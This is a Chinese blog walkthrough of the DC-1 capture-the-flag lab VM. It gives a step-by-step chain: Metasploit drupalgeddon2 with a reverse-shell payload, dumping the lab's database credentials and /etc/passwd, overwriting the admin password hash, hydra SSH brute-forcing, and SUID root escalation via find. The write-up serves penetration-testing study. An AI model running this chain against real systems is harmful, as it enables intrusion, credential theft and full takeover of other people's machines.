声明:此文章仅供参考学习,请勿利用文章内的相关技术从事非法测试,如因此产生的一切不良后果与文章作者无关。
目录
flag1
信息收集
漏洞利用
后渗透
flag2
flag3
flag4
最终flag
DC1靶机:链接: https://pan.baidu.com/s/1vtl4H4MKF9dqMjVxS0H4WA 密码: r5eg
靶机汇总:https://blog.csdn.net/qq_35258210/article/details/112465795
本次学习参考文章:https://blog.csdn.net/weixin_44288604/article/details/108027062
本次学习参考视频:https://www.bilibili.com/video/BV1i7411G7vm?p=268
该流程图出于:https://blog.csdn.net/weixin_44288604/article/details/108027062
这张流程图做得很好借来用用。如有侵权请告知删除
首先我们在启动DC1靶机后进入到系统只显示登录界面,除此在无其他消息
但是我们并不知道username、passwrod
好吧,战斗的号角已经吹响。。
这里没有其它信息,因为是在本地搭建的靶机mac地址应该就是我们唯一的线索了,我们查看该靶机的MAC地址
然后在kali里使用该命令
arp-scan 192.168.78.0/24
探测该网段存活机主,当然这要你的虚拟机网络适配器使用的是NAT模式,这样才能默认和kali同一网段(我不知道你们的,但我的是这样的)
知道DC1靶机的ip是192.168.78.147后对该ip使用nmap进行端口扫描
nmap -P 192.168.78.147
这里需要注意的是P需要大写,-P默认只扫描1-1000范围里的端口
发现该靶机开放了80端口,那我们在浏览器输入这个ip试试,发现存在网页,但是要输入账号密码登录,我们又没有,那么我们继续收集信息
使用火狐浏览器插件Wappalyzer看到该网站使用的CMS(网站内容管理系统)
这里在url里输入
192.168.78.147/robots.txt
可以看到很多目录
robots文件简单介绍:
我们在查看其它目录文件
UPGRADE.txt
这个文件可以看到当前Drupal的version是7.x的
这个UPGRADE.txt文件应该是drupal有新版本了,提示你去更新版本
我们使用google hacking下该版本有没有Nday漏洞可利用,漏洞很多
这里我们在msfconsole漏洞库里搜索Drupal7的漏洞
msf6 > search drupal
发现这里搜索出好几个drupal的Nday利用模块,还有个19年,这里我们使用18年这个
msf6 > use exploit/unix/webapp/drupal_drupalgeddon2
1、配置你要利用的漏洞模块
msf6 exploit(unix/webapp/drupal_drupalgeddon2) > info
2、查看该模块的详细介绍
影响范围7.x、8.x,巴拉巴拉一堆下面还有很多介绍
msf6 exploit(unix/webapp/drupal_drupalgeddon2) > set payload空格键+Tab键*2
3、显示该模块的payload
4、我们使用这个,反弹会话连接
msf6 exploit(unix/webapp/drupal_drupalgeddon2) > set payload php/meterpreter/reverse_tcp
msf6 exploit(unix/webapp/drupal_drupalgeddon2) > show options
5、查看下需要set的参数
6、设置目标IP地址
msf6 exploit(unix/webapp/drupal_drupalgeddon2) > set RHOSTS 192.168.78.147
7、开始攻击
msf6 exploit(unix/webapp/drupal_drupalgeddon2) > exploit
成功与目标机器连接
拿下了目标机器,那么我们开始找flag1吧
meterpreter > pwd
查看我们当前处在什么目录下
meterpreter > dir
列出当前目录列表
这里看到有个flag1文件
meterpreter > cat flag1.txt
查看flag1.txt的内容
这里看到提示我们需要一个配置文件
思路:既然是web应用,一般都有数据库,那么数据库的账号密码应该是以明文的方式写在脚本里的
听说配置文件在这个目录里
meterpreter > cd sites
进入该目录
meterpreter > ls
列出当前目录的列表
meterpreter > cd default
meterpreter > ls
网站的配置文件settings.php
meterpreter > cat settings.php
这里找到了flag2,这里找到了mysql的username、passwd
有个mysql的账号密码,我们试着去登录mysql
array ( 'database' => 'drupaldb', 'username' => 'dbuser', 'password' => 'R0ck3t', 'host' => 'localhost', 'port' => '', 'driver' => 'mysql', 'prefix' => '', ),
连接到webshell,并查看当前用户权限是www-data
因为目标机器(DC1靶机)是linux操作系统的,所以使用linux命令
这里我在渗透的时候漏了一个思路,我应该先看下,该主机是否开启mysql服务,借用大兄弟一张图
使用python反弹一个交互式shell
python -c "import pty;pty.spawn('/bin/bash')"
进入交互式shell后登录mysql,成功登录
mysql> show databases;
显示当前所有库,我们在前面查看该网站配置文件时知道了该网站使用的是这个库drupaldb
mysql> use drupaldb
选择drupaldb库
mysql> show tables;
显示该库的所有表
这里截图没截全,下面有一个users表
mysql> select * from users\G
查询users表中的所有字段
\G表示将查询结果进行按列打印,可以使每个字段打印到单独的行
发现users中有个uid为1的admin用户,密码经过了加密
既然密码加密了,存在一定破解难度,那就修改掉吧,但是数据库密码是以密文存储的,所以我们需要先调用一个生成密文的脚本
先退出数据库
这里脚本在/var/www目录下,我这在根目录所以先进到该目录
php scripts/password-hash.sh passer
$S$DufRdYqo9RxRWdsHNGV/jmXCvOi6V2osGDp0MswpBjT532ExnrIo
生成了我们定义的密码密文后,登录mysql
修改admin的密码
update users set pass="$S$DufRdYqo9RxRWdsHNGV/jmXCvOi6V2osGDp0MswpBjT532ExnrIo" where uid=1;
admin密码修改成功后,我们就可以去网站上登录啦
登录成功后,导航栏点第一个发现flag3
点击flag3后
这里flag3的提示愣是没理解,参考了其他博客
打印 /etc/passwd下的内容
www-data@DC-1:/var/www$ cat /etc/passwd
这里发现有flag4,这里我学艺不精,要是没参考其他资料,愣是不知道这flag4是个用户名
思路:再回想我们前面扫描端口时发现的除了80端口还有个22端口,ssh默认的端口,说明该主机开启了ssh服务
知道了用户名是flag4但是没有密码也是连接不上的,我们使用hydar工具导入密码字典暴力破解试试
我们使用kali下的自带的字典
kali@kali:~$ hydra -l flag4 -P /usr/share/john/password.lst 192.168.78.147 ssh -vV -f
下面那个命令的-p参数要大写P,大写P,大写P指定密码字典文件,小写p是指定密码
kali@kali:~$ hydra -l flag4 -P /usr/share/john/password.lst 192.168.78.147 ssh -vV -f
成功爆破出了flag4的密码后就可以试试连接一下了
kali@kali:~$ ssh [email protected]
成功连接
ls列出当前目录下的列表,可以看到这个出现了flag4.txt
cat 查看flag4.txt
flag4内容提示,我们可以以相同的方式找到另外一个flag在root目录下,但是,它这个过程不是特别的简单,或许可能是特别简单。差不多就是说方式不单单只有一钟?我的理解大概是这样的
whoami
查看当前用户
cd /root
最终flag
提示没有权限,也就是说flag4并不是root权限
那么我们要想办法提权为root,进入/root目录找到我们的最终flag
提权,老师说可以使用操作系统内核提权,但是内核提权是绝招,绝招是要在没招可用的时候才时候的,绝招并不是必杀,绝招是最后的挣扎~~~。所以我们并不能一上来使用绝招,哈哈哈好吧摊牌了我也不会内核提权呀!
这时候我们查看下该系统是否存在具有SUID标识的命令,SUID标识的命令,是在执行这些具有SUID标识的命令的运行期间会获取root权限
比如bash命令,运行bash命令时有SUID标识,SUID标识会继承root权限,就好比A信任B,B信任C,那么A就可以间接的信任C,信任是具有传递性的
有SUID标识的命令调用B命令运行,SUID标识的命令调用B命令期间SUID标识的命令获取root权限,B命令也获取了root权限
下面这条命令可以查看当前系统有哪些具有SUID标识的命令
find / -perm -4000 2>/dev/null
使用下面这条命令提权,注意这条命令里一个字符不能多也不能少,该空格就空格
find -exec "/bin/sh" \;
运行后,执行whoami查看当前用户,可以看到当前用户为root,cd /root,进入root目录,提权成功,才看到有个文件,cat查看,OK,涨姿势了!
当然这要是不参考资料、视频,以我的老底估计flag1都不大好拿,这次渗透,本着学思路,涨姿势的心态学习,虽然边写边学,会学的比较慢,但这样学习,可以逼迫自己不要那么的将就,因为要发到个人博客上,所以就会尽可能的把每个知识点都深入了解一下,加深理解,记忆也比较牢固,而且后面复习时也会因为是自己写的忘了看几眼也比较容易想起来,我很喜欢这种感觉。哈哈哈,如果你看到这了,不妨点个赞,虽然我不奢望这些东西,但也会觉得小惊喜。
-----------------------------No matter young or old, or poor or rich, please don't give up your ardently love
机译,哈哈哈。
我想用不了多久我能自己写一段无差错的英文句子,up